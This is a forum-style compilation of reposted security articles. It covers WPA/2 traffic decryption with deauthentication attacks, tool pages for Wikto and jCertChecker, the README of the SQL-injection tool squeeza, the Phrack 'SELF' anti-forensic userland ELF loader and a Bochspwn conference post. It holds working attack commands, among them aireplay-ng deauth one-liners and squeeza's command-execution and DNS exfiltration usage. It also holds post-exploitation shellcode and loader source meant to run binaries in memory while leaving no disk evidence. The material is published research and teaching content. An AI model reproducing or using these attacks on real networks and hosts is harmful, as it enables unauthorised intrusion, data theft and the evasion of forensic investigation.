other wifi hacking techniques, then check out our Hacking by Numbers - Unplugged edition course at Black Hat. We've got loads of space. If you'd like to read more, taddong's RootedCon talk from this year is a good place to start. - See more at: SensePost Blog Sursa: SensePost Blog
  4. Wifi Hacking & WPA/2 PSK traffic decryption - dominic @ 11:31 When doing wireless assessments, I end up generating a ton of different scripts for various things that I thought it would be worth sharing. I'm going to try write some of them up. This is the first one on decrypting WPA/2 PSK traffic. The second will cover some tricks/scripts for rogue access-points. If you are keen on learn further techniques or advancing your wifi hacking knowledge/capability as a whole, please check out the course Hacking by Numbers: Unplugged, I'll be teaching at BlackHat Las Vegas soon. When hackers find a WPA/2 network using a pre-shared key, the first thing they try and do most times, is to capture enough of the 4-way handshake to attempt to brute force the pairwise master key (PMK, or just the pre-shared key PSK). But, this often takes a very long time. If you employ other routes to find the key (say a client-side compromise) that can still take some time. Once you have the key, you can of course associate to the network and perform your layer 2 hackery. However, if you had been capturing traffic from the beginning, you would now be in a position to decrypt that traffic for analysis, rather than having to waste time by only starting your capture now. You can use the airdecap-ng tool from the aircrack-ng suite to do this: airdecap-ng -b <BSSID of target network> -e <ESSID of target network> -p <WPA passphrase> <input pcap file> However, because the WPA 4-way handshake generates a unique temporary key (pairwise temporal key PTK) every time a station associates, you need to have captured the two bits of random data shared between the station and the AP (the authenticator nonce and supplicant nonce) for that handshake to be able to initialise your crypto with the same data. What this means, is that if you didn't capture a handshake for the start of a WPA/2 session, then you won't be able to decrypt the traffic, even if you have the key. So, the trick is to de-auth all users from the AP and start capturing right at the beginning. This can be done quite simply using aireplay-ng: aireplay-ng --deauth=5 -e <ESSID> Although, broadcast de-auth's aren't always as successful as a targeted one, where you spoof a directed deauth packet claiming to come from the AP and targeting a specific station. I often use airodump-ng to dump a list of associated stations to a csv file (with --output-format csv), then use some grep/cut-fu to excise their MAC addresses. I then pass that to aireplay-ng with: cat <list of associated station MACs>.txt | xargs -n1 -I% aireplay-ng --deauth=5 -e <ESSID> -c % mon0 This tends to work a bit better, as I've seen some devices which appear to ignore a broadcast de-auth. This will make sure you capture the handshake so airdecap can decrypt the traffic you capture. Any further legitimate disconnects and re-auths will be captured by you, so you shouldn't need to run the de-auth again. In summary: Don't forget how useful examining traffic can be, and don't discount that as an option just because it's WPA/2 Start capturing as soon as you get near the network, to maximise how much traffic you'll have to examine De-auth all connected clients to make sure you capture their handshakes for decryption Once again, I'll be teaching a course covering this and other techniques at BlackHat Las Vegas, please check it out or recommend it to others if you think it's worthwhile. We're also running a curriculum of other courses at BH, including a brand new mobile hacking course. - See more at: SensePost Blog Sursa: SensePost Blog
  5. Nytro

    Wikto

    Wikto Cost: Free Source Code: GitHub Version: 2.1.0.0 (XMAS edition) Requirements: .Net Framework License: GPL Release Date: 2008-12-14 Recent Changes: Fixed incorrect links spider bug Added time anomaly functionality in back-end scanner. Added easy access (and icons) to findings in back-end scanner. Fixed executable finding occasionally not showing bug. Wikto is Nikto for Windows - but with a couple of fancy extra features including fuzzy logic error code checking, a back-end miner, Google-assisted directory mining and real time HTTP request/response monitoring. Downloads using_wikto.pdf Wikto-2.1.0.0-SRC.zip wikto_v2.1.0.0.zip Sursa: Sensepost Research Labs
      • 1
      • Upvote
  6. [h=1]jCertChecker[/h] Author: Willem Mouton Cost: Free Source Code: GitHub Version : 1.0 Requirements: Java runtime environment License : GPL Release Date : 2010-06-01 jCertChecker is a Java based SSL certificate viewer that can be used to scan single or multiple sites and interrogate detail about the certificates in use. The tool can quickly tell you if the ciphers in use are strong and whether the cert name and domain name correspond. [h=2]Downloads[/h] jCertChecker.zip Sursa: Sensepost Research Labs
  7. 1. Name Squeeza - SQL Injection without the pain of syringes 2. Authors Marco Slaviero < marco(at)sensepost(dot)com > Haroon Meer 3. License, version & release date License : GPLv2 Version : v0.22 Release Date : 2008/08/24 4. Description squeeza is a tool helps exploits SQL injection vulnerabilities in broken web applications. Its functionality is split into creating data on the database (by executing commands, copying in files, issuing new SQL queries) and extracting that data through various channels (dns, timing, http error messages) Currently, it supports the following databases: Microsoft SQL Server MySQL (only when multi-queries are enable, which is not too common) squeeza is not a tool for finding injection points. That recipe generally starts with 1 x analyst. #5. Usage ##5.1 Installation Installation is easy. Untar the archive into an appropriate spot. > $tar xvzf squeeza-0.21.tar.gz Thereafter, edit the configuration file. By default, this is called 'squeeza.config' and resides in the same directory as the rest of the scripts. Off the bat, you'll want to edit at least the following configuration items: host url querystring method sql_prefix sql_postfix dns_domain The default mode is command mode, and the default channel is dns. ##5.2 Data Flow Model As already mentioned, squeeza splits the creation of data at the server away from the extraction of that data off the server (within certain constraints). Data is created by a /mode/, and extracted via a /channel/. By doing so, it is possible to mix 'n match modes with channels, which we think is pretty nifty/flexible. Currently supported modes: command mode : supports commands execution on the database server copy mode : supports copying of files from the database server to the local machine sql mode : supports the execution of arbitrary sql queries Currently supported channels: dns channel : extracts data via dns timing channel : extracts data by timing bits in the output http error message : extracts data through http error messages, similarly to Sec-1's automagic sql injector Although we've striven for complete separation of modes and channels, we haven't completely succeeded as of yet (our SQL-fu is not strong). The following matrix shows the level of support for each mode and channel combination. Channel .-------------------------------------. | DNS | Timing | HTTP Errors | .----------+-----------+-----------+-------------| M | Command || Supported | Supported | Supported | o | Copy || Supported | Supported | Supported | d | SQL || Supported | Supported | Unsupported | e | || | | | `------------------------------------------------` Obviously, you'll also be limited by the capabilities of the database connection. If xp_cmdshell is removed or otherwise unavailable, squeeza isn't going to magically make it reappear. 5.3 Command Set The following commands are hooked into the basic squeeza shell. (Each module will probably further expose its own commands.) squeeza commands are always prefixed by a '!'. !help - print help for the shell and any loaded modules !quit - take a guess... !set - use this to set or view shell variables The mssql module has the following commands: !channel - use to view or set the current channel !cmd - switch to command mode !copy - switch to copy mode !sql - switch to sql mode 5.4 Example Usage Starting squeeza: $./squeeza.rb Squeeza tha cheeza v0.21 © {marco|haroon}@sensepost.com 2007 sp-sq> This presents you with a basic shell from which to control squeeza. All squeeza commands are prefixed by a '!'. Anything else is sent through to the underlying module; this generally causes action to occur. E.g. The default mode is command mode. When typing in sp-sq> dir c:\ The command 'dir c:\' is sent to the server, and its output is returned via your channel of choice. To switch to HTTP error-based copy mode, and copy the file c:\sp.jpeg to local file sp.copied, the following command sequence would work sp-sq> !channel http sp-sq> !copy sp-sq> c:\sp.jpeg sp.copied To then extract a list of database tables via timing, one could use sp-sq> !channel time sp-sq> !sql sp-sq> !ret tables 5.5 Using command mode Switch to command mode at any time by using the '!cmd' command. This mode enables the execution of commands on the server. Type in the command of choice, and squeeza will execute it and return its results. Beware that if you attempt to execute a file that triggers a handler, then squeeza will timeout waiting for a response. E.g. if you execute c:\some.jpeg, the database server will probably fire up Windows Picture and Fax Viewer /on the server/, and sit waiting for the viewer to quit. Which it won't. Command mode uses the following variables: cmd_table_name : name to use for temporary table in database, default is 'sqcmd' 5.6 Using copy mode Switch to copy mode at any time by using the '!copy' command. This mode enables the copying of files /from/ the server to your local machine. Format of copy command is: sp-sq> src-file [dst-file] where 'src-file' is a full path to the file you want to copy, and the optional 'dst-file' is a local filename. 5.7 Using sql mode Switch to sql mode at any time by using the '!sql' command. This mode enables the execution of fairly simple but arbitrary SQL queries on the database. It has built-in queries to help with the mapping of database schema, but one can easily construct one's own queries. This mode does not actually build an intermediate or temporary table before data extraction, as an added optimisation. The built-in queries are operated using the '!ret' command. Possible values for '!ret' include: info tables columns < table_name > E.g.: sp-sq> !ret info sp-sq> !ret tables sp-sq> !ret columns sysobjects Issuing arbitrary queries is a little more complex (but not by much!) The query should take the form of: < column_name > < table_names > < where_clause > For instance, to extract user tables one could use the following query sp-sq> name sysobjects xtype='U' 5.8 Using the DNS channel Switch to the dns channel at any time by using the '!channel dns' command. This channel is useful when no HTTP error messages are present, and you can't export reverse shells or connect to bind shells due to network limitations. If DNS is allowed out the network, the channel will work for you. Depending on whether your injection point has sysadmin privileges or not, squeeza can be instructed to use different injection strings. This is influenced by the 'dns_privs' configuration variable. Possible values: high : database user is sysadmin, and xp_cmdshell is available medium : database user is sysadmin, xp_cmdshell is not available (we'll use xp_getfiledetails as a reasonable substitute) low : database user is unprivileged, use xp_getfiledetails Other configuration variables that affect the DNS channel (see Appendix A for a longer description): request_timeout dns_domain dns_server 5.9 Using the timing channel Switch to timing channel at any time by using the '!channel time' command. This channel enables the extraction of data when very few database or network privileges are present. It can be extremely slow (as in, 1 or 2 bits per second) but might just be what you need. The timing channel provides the command '!calib' for automatic calibration of time ranges. Feedback on the effectiveness of this command is gratefully accepted. Configuration variables for the timing channel (see Appendix A for a longer description: delay outlier_weight one_range zero_range time_privs ansi request_timeout 5.10 Using the HTTP error channel Switch to the HTTP error channel at any time by using the '!channel http' command. This channel requires that SQL errors are shown in the body of the HTML. Not often seen in practise today, but useful when present. Much faster than the other modes. Configuration variables for the HTTP error channel (see Appendix A for a longer description: request_timeout 6. Requirements Before installing squeeza, ensure that the following system requirements are fulfilled: ruby (developed on 1.8.4, should work on any version after that, at least. prior to 1.8.4, test and let me know if it works) tcpdump (if you're planning on using the dns channel. if you're running windows, let me know which, if any, of the various tcpdump ports worked for you) access to a dns server, if you'll be using the dns channel a large SQL injection point in a vulnerable web application. how large? typical injection strings are 600 or so bytes. #7. Additional Resources ##7.1 Bugs Apart from sql mode not working with the http error channel, we aren't aware of major bugs in squeeza. Feel free to send your bug reports to research@sensepost.com, along with a description of what when wrong, what you were doing at the time, squeeza output and so on. Setting '!debug 2' will give you much more output. 7.2 Appendix A: Known configuration variables Default value is given in rounded braces after the variable name. If a variable takes on a one of a pre-defined set of values, they are specified after the variable name like so: random_var (default) [ value1 | value 2 | value 3 ] All clear? Good. Let's carry one. ansi (off) [ on | off ] - Specifies whether your terminal capable of handling ansi characters. Set to 'no' for Windows use. cmd_table_name (sqcmd) - Name of temporary table to use in command mode cp_table_name (sqfilecp) - Name of temporary table to use in copy mode debug (0) [ 0 | 1 | 2 ] - debug level delay (1) - Integer specifying how long to wait for a 1-bit when using the timing channel. Normally this is automatically calculated by !calib dns_domain - Domain that is appended to data when initiating DNS requests. You should have access to traffic between the database server and the DNS server for the dns_domain (either because you're running squeeza on the DNS server or because you're on the path between the victim and the DNS server. dns_privs (high) [ high | medium | low ] - Specifies which injection string to use with the dns channel. - high : database user is sysadmin, and xp_cmdshell is available - medium : database user is sysadmin, xp_cmdshell is not available (we'll use xp_getfiledetails as a reasonable substitute) - low : database user is unprivileged, use xp_getfiledetails dns_server - IP address of your local machine. If 'dns_privs' is 'high' then we can pass the address of our own DNS server to nslookup. Use this variable if dns_privs is high and works, the server can send UDP traffic directly to your machine. headers[] - Additional HTTP headers to add to the request. Use this to add cookies etc. Usage permits multiple headers[] lines e.g.: headers[]=Cookie: qweqwewqeqweqweqwe headers[]=User-Agent: My squeeza host - Used by the http module to send requests to a vulnerable web application. http_resp_ok (200) - a comma-separated list of http response codes that squeeza should consider OK, otherwise throw errors. For instance, regular DNS and timing attacks only consider 200s to be acceptable by 500s are returned by the HTTP error channel as part of its operation. lines_per_request (1) - Used by the DNS module to request multiple lines per HTTP request. Experiment with setting higher if you like. method (post) [ post | get ] - http method to use mssql_channel (dns) [ dns | time | http ] - Decide at start-up which channel to use. mssql_mode (cmd) [ cmd | copy | sql ] - Decide at start-up which mode to enter. one_range - used by the time channel to determine if a request's time is to be treated as a 1-bit. outlier_weight - used by the time channel to discard outliers when calibrating port (80) - port on which the webserver is listening prompt (sp-sq>) - used by the shell as a prompt querystring - either POST or GET parameters for the vulnerable page. mark the injection point with _X__X e.g. querystring=__VIEWSTATE=dDwtMTcxMDQzNTQyMDs7PtQR3aDGafqEYIzRv SwVTqrcmzY0&m_search=_X__X&_ctl3=Search request_timeout (20) - user by various channels as a generic timeout sql_postfix - string that will complete the injection string. typically this would be a "--" (excluding the "") sql_prefix - string that ends the sql statement immediately prior to squeeza's injection string. typically this might look like "';" (excluding the "") ssl (off) [ on | off ] - determine whether ssl is needed time_privs (high) [ high | low ] - this value is automatically selected for you, depending on the chosen mode url - a path to the vulnerable page zero_range - used by the time channel to determine if a request's time is to be treated as a 0-bit. Download: https://github.com/sensepost/squeeza
  8. Advanced Antiforensics : SELF ==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x0b of 0x14 |=----------------=[ Advanced Antiforensics : SELF ]=-------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Pluf & Ripe ]=------------------------------=| |=-----------------------[ www.7a69ezine.org ]=--------------------------=| 1 - Introduction 2 - Userland Execve 3 - Shellcode ELF loader 4 - Design and Implementation 4.1 - The lxobject 4.1.1 - Static ELF binary 4.1.2 - Stack context 4.1.3 - Shellcode loader 4.2 - The builder 4.3 - The jumper 5 - Multiexecution 5.1 - Gits 6 - Conclusion 7 - Greetings 8 - References A - Tested systems B - Sourcecode ---[ 1 - Introduction The techniques of remote services' exploitation have made a substantial progress. At the same time, the range of shellcodes have increased and incorporates new and complex anti-detection techniques like polymorphism functionalities. In spite of the advantages that all these give to the attackers, a call to the syscall execve is always needed; that ends giving rise to a series of problems: - The access to the syscall execve may be denied if the host uses some kind of modern protection system. - The call to execve requires the file to execute to be placed in the hard disk. Consequently, if '/bin/shell' does not exist, which is a common fact in chroot environments, the shellcode will not be executed properly. - The host may not have tools that the intruder may need, thus creating the need to upload them, which can leave traces of the intrusion in the disk. The need of a shellcode that solves them arises. The solution is found in the 'userland exec'. ---[ 2 - Userland Execve The procedure that allows the local execution of a program avoiding the use of the syscall execve is called 'userland exec' or 'userland execve'. It's basically a mechanism that simulates correctly and orderly most of the procedures that the kernel follows to load an executable file in memory and start its execution. It can be summarized in just three steps: - Load of the binary's required sections into memory. - Initialization of the stack context. - Jump to the entry point (starting point). The main aim of the 'userland exec' is to allow the binaries to load avoiding the use of the syscall execve that the kernel contains, solving the first of the problems stated above. At the same time, as it is a specific implementation we can adapt its features to our own needs. We'll make it so the ELF file will not be read from the hard disk but from other supports like a socket. With this procedure, the other two problems stated before are solved because the file '/bin/sh' doesn't need to be visible by the exploited process but can be read from the net. On the other hand, tools that don't reside in the destination host can also be executed. The first public implementation of a execve in a user environment was made by "the grugq" [1], its codification and inner workings are perfect but it has some disadvantages: - Doesn't work for real attacks. - The code is too large and difficult to port. Thanks to that fact it was decided to put our efforts in developing another 'userland execve' with the same features but with a simpler codification and oriented to exploits' use. The final result has been the 'shellcode ELF loader'. ---[ 3 - Shellcode ELF loader The shellcode ELF loader or Self is a new and sophisticated post-exploitation technique based on the userland execve. It allows the load and execution of a binary ELF file in a remote machine without storing it on disk or modifying the original filesystem. The target of the shellcode ELF loader is to provide an effective and modern post-exploitation anti-forensic system for exploits combined with an easy use. That is, that an intruder can execute as many applications as he desires. ---[ 4 - Design and Implementation Obtaining an effective design hasn't been an easy task, different options have been considered and most of them have been dropped. At last, it was selected the most creative design that allows more flexibility, portability and a great ease of use. The final result is a mix of multiple pieces, independent one of another, that realize their own function and work together in harmony. This pieces are three: the lxobject, the builder and the jumper. These elements will make the task of executing a binary in a remote machine quite easy. The lxobject is a special kind of object that contains all the required elements to change the original executable of a guest process by a new one. The builder and jumper are the pieces of code that build the lxobject, transfer it from the local machine (attacker) to the remote machine (attacked) and activate it. As a previous step before the detailed description of the inner details of this technique, it is needed to understand how, when and where it must be used. Here follows a short summary of its common use: - 1st round, exploitation of a vulnerable service: In the 1st round we have a machine X with a vulnerable service Y. We want to exploit this juicy process so we use the suitable exploit using as payload (shellcode) the jumper. When exploited, the jumper is executed and we're ready to the next round. - 2nd round, execution of a binary: Here is where the shellcode ELF loader takes part; a binary ELF is selected and the lxobject is constructed. Then, we sent it to the jumper to be activated. The result is the load and execution of the binary in a remote machine. We win the battle!! ---[ 4.1 - The lxobject What the hell is that? A lxobject is an selfloadable and autoexecutable object, that is to say, an object specially devised to completely replace the original guest process where it is located by a binary ELF file that carries and initiates its execution. Each lxobject is built in the intruder machine using the builder and it is sent to the attacked machine where the jumper receives and activates it. Therefore, it can be compared to a missile that is sent from a place to the impact point, being the explosive charge an executable. This missile is built from three assembled parts: a binary static ELF, a preconstructed stack context and a shellcode loader. ---[ 4.1.1 - Static ELF binary It's the first piece of a lxobject, the binary ELF that must be loaded and executed in a remote host. It's just a common executable file, statically compiled for the architecture and system in which it will be executed. It was decided to avoid the use of dynamic executables because it would add complexity which isn't needed in the loading code, noticeably raising the rate of possible errors. ---[ 4.1.2 - Stack context It's the second piece of a lxobject; the stack context that will be needed by the binary. Every process has an associated memory segment called stack where the functions store its local variables. During the binary load process, the kernel fills this section with a series of initial data requited for its subsequent execution. We call it 'initial stack context'. To ease the portability and specially the loading process, a preconstructed stack context was adopted. That is to say, it is generated in our machine and it is assembled with the binary ELF file. The only required knowledge is the format and to add the data in the correct order. To the vast majority of UNIX systems it looks like: .----------------. .--> | alignment | | |================| | | Argc | - Arguments (number) | |----------------| | | Argv[] | ---. - Arguments (vector) | |----------------| | | | Envp[] | ---|---. - Environment variables (vector) | |----------------| | | | | argv strings | <--' | | |----------------| | - Argv and envp data (strings) | | envp strings | <------' | |================| '--- | alignment | -------> Upper and lower alignments '----------------' This is the stack context, most reduced and functional available for us. As it can be observed no auxiliary vector has been added because the work with static executables avoids the need to worry about linking. Also, there isn't any restriction about the allowed number of arguments and environment variables; a bunch of them can increase the context's size but nothing more. As the context is built in the attacker machine, that will usually be different from the attacked one; knowledge of the address space in which the stack is placed will be required. This is a process that is automatically done and doesn't suppose a problem. *--[ 4.1.3 - Shellcode Loader This is the third and also the most important part of a lxobject. It's a shellcode that must carry on the loading process and execution of a binary file. it is really a simple but powerful implementation of userland execve(). The loading process takes the following steps to be completed successfully (x86 32bits): * pre-loading: first, the jumper must do some operations before anything else. It gets the memory address where the lxobject has been previously stored and pushes it into the stack, then it finds the loader code and jumps to it. The loading has begun. __asm__( "push %0\n" "jmp *%1" : : "c"(lxobject),"b"(*loader) ); * loading step 1: scans the program header table and begins to load each PT_LOAD segment. The stack context has its own header, PT_STACK, so when this kind of segment is found it will be treated differently from the rest (step 2) .loader_next_phdr: // Check program header type (eax): PT_LOAD or PT_STACK movl (%edx),%eax // If program header type is PT_LOAD, jump to .loader_phdr_load // and load the segment referenced by this header cmpl $PT_LOAD,%eax je .loader_phdr_load // If program header type is PT_STACK, jump to .loader_phdr_stack // and load the new stack segment cmpl $PT_STACK,%eax je .loader_phdr_stack // If unknown type, jump to next header addl $PHENTSIZE,%edx jmp .loader_next_phdr For each PT_LOAD segment (text/data) do the following: * loading step 1.1: unmap the old segment, one page a time, to be sure that there is enough room to fit the new one: movl PHDR_VADDR(%edx),%edi movl PHDR_MEMSZ(%edx),%esi subl $PG_SIZE,%esi movl $0,%ecx .loader_unmap_page: pushl $PG_SIZE movl %edi,%ebx andl $0xfffff000,%ebx addl %ecx,%ebx pushl %ebx pushl $2 movl $SYS_munmap,%eax call do_syscall addl $12,%esp addl $PG_SIZE,%ecx cmpl %ecx,%esi jge .loader_unmap_page * loading step 1.2: map the new memory region. pushl $0 pushl $0 pushl $-1 pushl $MAPS pushl $7 movl PHDR_MEMSZ(%edx),%esi pushl %esi movl %edi,%esi andl $0xffff000,%esi pushl %esi pushl $6 movl $SYS_mmap,%eax call do_syscall addl $32,%esp * loading step 1.3: copy the segment from the lxobject to that place: movl PHDR_FILESZ(%edx),%ecx movl PHDR_OFFSET(%edx),%esi addl %ebp,%esi repz movsb * loading step 1.4: continue with next header: addl $PHENTSIZE,%edx jmp .loader_next_phdr * loading step 2: when both text and data segments have been loaded correctly, it's time to setup a new stack: .loader_phdr_stack: movl PHDR_OFFSET(%edx),%esi addl %ebp,%esi movl PHDR_VADDR(%edx),%edi movl PHDR_MEMSZ(%edx),%ecx repz movsb * loading step 3: to finish, some registers are cleaned and then the loader jump to the binary's entry point or _init(). .loader_entry_point: movl PHDR_ALIGN(%edx),%esp movl EHDR_ENTRY(%ebp),%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx xorl %esi,%esi xorl %edi,%edi jmp *%eax * post-loading: the execution has begun. As can be seen, the loader doesn't undergo any process to build the stack context, it is constructed in the builder. This way, a pre-designed context is available and should simply be copied to the right address space inside the process. Despite the fact of codifying a different loader to each architecture the operations are plain and concrete. Whether possible, hybrid loaders capable of functioning in the same architectures but with the different syscalls methods of the UNIX systems should be designed. The loader we have developed for our implementation is an hybrid code capable of working under Linux and BSD systems on x86/32bit machines. ---[ 4.2 - The builder It has the mission of assembling the components of a lxobject and then sending it to a remote machine. It works with a simple command line design and its format is as follows: ./builder <host> <port> <exec> <argv> <envp> where: host, port = the attached machine address and the port where the jumper is running and waiting exec = the executable binary file we want to execute argv, envp = string of arguments and string of environment variables, needed by the executable binary For instance, if we want to do some port scanning from the attacked host, we will execute an nmap binary as follows: ./builder 172.26.0.1 2002 nmap-static "-P0;-p;23;172.26.1-30" "PATH=/bin" Basically, the assembly operations performed are the following: * allocate enough memory to store the executable binary file, the shellcode loader and the stack's init context. elf_new = (void*)malloc(elf_new_size); * insert the executable into the memory area previously allocated and then clean the fields which describe the section header table because they won't be useful for us as we will work with an static file. Also, the section header table could be removed anyway. ehdr_new->e_shentsize = 0; ehdr_new->e_shoff = 0; ehdr_new->e_shnum = 0; ehdr_new->e_shstrndx = 0; * build the stack context. It requires two strings, the first one contains the arguments and the second one the environment variables. Each item is separated by using a delimiter. For instance: <argv> = "arg1;arg2;arg3;-h" <envp> = "PATH=/bin;SHELL=sh" Once the context has been built, a new program header is added to the binary's program header table. This is a PT_STACK header and contains all the information which is needed by the shellcode loader in order to setup the new stack. * the shellcode ELF loader is introduced and its offset is saved within the e_ident field in the elf header. memcpy(elf_new + elf_new_size - PG_SIZE + LOADER_CODESZ, loader, LOADER_CODESZ); ldr_ptr = (unsigned long *)&ehdr_new->e_ident[9]; *ldr_ptr = elf_new_size - PG_SIZE + LOADER_CODESZ; * the lxobject is ready, now it's sent to specified the host and port. connect(sfd, (struct sockaddr *)&srv, sizeof(struct sockaddr) write(sfd, elf_new, elf_new_size); An lxobject finished and assembled correctly, ready to be sent, looks like this: [ Autoloadable and Autoexecutable Object ] .------------------------------------------------ | | [ Static Executable File (1) ] | .--------------------------------. | | | | | .----------------------. | | | | ELF Header )---------|----|--. | | |----------------------| | | Shellcode Elf loader (3) | | | Program Header Table | | | hdr->e_ident[9] | | | | | | | | | + PT_LOAD0 | | | | | | + PT_LOAD1 | | | | | | ... | | | | | | ... | | | | | | + PT_STACK )---------|----|--|--. | | | | | | | Stack Context (2) | | |----------------------| | | | | | | Sections (code/data) | | | | | '--> |----------------------| <--' | | | .--> |######################| <-----' | | | |## SHELLCODE LOADER ##| | | P | |######################| | | A | | | | | G | | ....... | | | E | | ....... | | | | | | | | | |######################| <--------' | | |#### STACK CONTEXT ###| | | |######################| | '--> '----------------------' | '----------------- ---[ 4.3 - The jumper It is the shellcode which have to be used by an exploit during the exploitation process of a vulnerable service. Its focus is to activate the incoming lxobject and in order to achieve it, at least the following operations should be done: - open a socket and wait for the lxobject to arrive - store it anywhere in the memory - activate it by jumping into the loader Those are the minimal required actions but it is important to keep in mind that a jumper is a simple shellcode so any other functionality can be added previously: break a chroot, elevate privileges, and so on. 1) how to get the lxobject? It is easily achieved, already known techniques, as binding to a port and waiting for new connections or searching in the process' FD table those that belong to socket, can be applied. Additionally, cipher algorithms can be added but this would lead to huge shellcodes, difficult to use. 2) and where to store it? There are three possibilities: a) store it in the heap. We just have to find the current location of the program break by using brk(0). However, this method is dangerous and unsuitable because the lxobject could be unmapped or even entirely overwritten during the loading process. store it in the process stack. Provided there is enough space and we know where the stack starts and finishes, this method can be used but it can also be that the stack isn't be executable and then it can't be applied. c) store it in a new mapped memory region by using mmap() syscall. This is the better way and the one we have used in our code. Due to the nature of a jumper its codification can be personalized and adapted to many different contexts. An example of a generic jumper written in C is as it follows: lxobject = (unsigned char*)mmap(0, LXOBJECT_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0); addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[1])); addr.sin_addr.s_addr = 0; sfd = socket(AF_INET, SOCK_STREAM, 0)); bind(sfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)); listen(sfd, 10); nsfd = accept(sfd, NULL, NULL)); for (i = 0 ; i < 255 ; i++) { if (recv(i, tmp, 4, MSG_PEEK) == 4) { if (!strncmp(&tmp[1], "ELF", 3)) break; } } recv(i, lxobject, MAX_OBJECT_SIZE, MSG_WAITALL); loader = (unsigned long *)&lxobject[9]; *loader += (unsigned long)lxobject; __asm__( "push %0\n" "jmp *%1" : : "c"(lxobject),"b"(*loader) ); ---[ 5 - Multiexecution The code included in this article is just a generic implementation of a shellcode ELF loader which allows the execution of a binary once at time. If we want to execute that binary an undefined number of times (to parse more arguments, test new features, etc) it will be needed to build and send a new lxobject for each try. Although it obviously has some disadvantages, it's enough for most situations. But what happens if what we really wish is to execute our binary a lot of times but from the other side, that is, from the remote machine, without building the lxobject? To face this issue we have developed another technique called "multi-execution". The multi-execution is a much more advanced derived implementation. Its main feature is that the process of building a lxobject is always done in the remote machine, one binary allowing infinite executions. Something like working with a remote shell. One example of tool that uses a multi-execution environment is the gits project or "ghost in the system". *--[ 5.1 - Gits Gits is a multi-execution environment designed to operate on attacked remote machines and to limit the amount of forensic evidence. It should be viewed as a proof of concept, an advanced extension with many features. It comprises a launcher program and a shell, which is the main part. The shell gives you the possibility of retrieving as many binaries as desired and execute them as many times as wished (a process of stack context rebuilding and binary patching is done using some advanced techniques). Also, built-in commands, job control, flow redirection, remote file manipulation, and so on have been added. ---[ 6 - Conclusions The forensic techniques are more sophisticated and complete every day, where there was no trace left, now there's a fingerprint; where there was only one evidence left, now there are hundreds. A never-ending battle between those who wouldn't be detected and those who want to detect. To use the memory and leave the disk untouched is a good policy to avoid the detection. The shellcode ELF loader develops this post-exploitation plainly and elegantly. ---[ 7 - Greetings 7a69ezine crew & redbull. ---[ 8 - References [1] The Design and Implementation of ul_exec - the grugq http://securityfocus.com/archive/1/348638/2003-12-29/2004-01-04/0 [2] Remote Exec - the grugq http://www.phrack.org/show.php?p=62&a=8 [3] Ghost In The System Project http://www.7a69ezine.org/project/gits ---[ A - Tested systems The next table summarize the systems where we have tested all this fucking shit. /----------v----------\ | x86 | amd64 | /------------+----------+----------< | Linux 2.4 | works | works | >------------+----------+----------< | Linux 2.6 | works | works | >------------+----------+----------< | FreeBSD | works | untested | >------------+----------+----------< | NetBSD | works | untested | \------------^----------^----------/ ---[ B - Sourcecode Sursa: https://sites.google.com/site/x86pfxlab/oldstuff
  9. [h=2]Black Hat USA 2013, Bochspwn, slides and pointers[/h](Collaborative post by Mateusz “j00ru” Jurczyk and Gynvael Coldwind) Two weeks ago (we’re running late, sorry!) Gynvael and I had the pleasure to attend one of the largest, most technical and renowned conferences in existence – Black Hat 2013 in Las Vegas, USA. The event definitely stood up to our expectations – the city was purely awesome (especially for someone who just turned 21 like me), the venue was at least as great, we saw many interesting and truly inspiring talks and a whole bunch of old friends, not to mention meeting a fair number of new folks. In addition to all this, our visit to Vegas turned out quite successful for other reasons too – our “Identifying and Exploiting Windows Kernel Race Conditions via Memory Access Patterns” work was nominated and eventually awarded a Pwnie (in fact, two mascots) in the “Most Innovative Research” category. Woot! While the subject of memory access pattern analysis or the more general kernel instrumentation was only mentioned briefly when we originally released the first slide deck and whitepaper, as we mostly focused on the exploitation of constrained local kernel race conditions back then, our most recent Black Hat “Bochspwn: Identifying 0-days via System-Wide Memory Access Pattern Analysis” talk discussed the specifics of how the control flow of different operating systems’ kernels can be logged, examined or changed for the purpose of identifying various types of local vulnerabilities. Demos were presented live and are not available publicly (especially considering that one of them was a 0-day). Slides: “Bochspwn: Identifying 0-days via System-Wide Memory Access Pattern Analysis” (5.26MB, PDF) During the conference, we also open-sourced our Bochs kernel instrumentation toolkit (including both the CPU instrumentation modules and post-processing tools) under the new name of “kfetch-toolkit”. The project is hosted on github (see https://github.com/j00ru/kfetch-toolkit) and is available for everyone to hack on under the Apache v2 license. Should you have any interesting results, concerns, questions or proposed patches, definitely drop us a line. We are looking forward to some meaningful, external contributions to the project. Last but not least, we have also explicitly mentioned that we would release all Bochspwn-generated logs that we had looked through and reported to corresponding vendors or deemed to be non-issues or non-exploitable. Below follows a moderately well explained list of reports, including information such as the original Bochspwn output, list of affected functions, our comments based on a (usually brief) investigation and the guest operating system and iteration number. Please note that a large number of Windows reports were assessed to be of a “NO FIX” class by Microsoft, and it might make sense to take another look at these and find out if the vendor didn’t miss any obviously exploitable problems (unfortunately, we haven’t had the time to perform a thorough analysis of each of the reports). Although a majority of the bugs were found in Windows, the Linux and BSD reports can certainly provide you with some interesting (yet not security-relevant) behavior and a fair dose of amusement. We hope you enjoy looking through the docs. Without further ado, here are the reports: [h=2]Windows[/h] Bulletin issues (fixed by Microsoft until 08/13/2013). Non-issues, non-exploitable problems and Denial of Service vulnerabilities. Unfixed issues as of 08/13/2013, “0-days”. [h=2]Linux[/h] Non-issues, non-exploitable problems. [h=2]FreeBSD[/h] Non-issues, non-exploitable problems. All comments are more then welcome. Take care! Sursa: Black Hat USA 2013, Bochspwn, slides and pointers | j00ru//vx tech blog
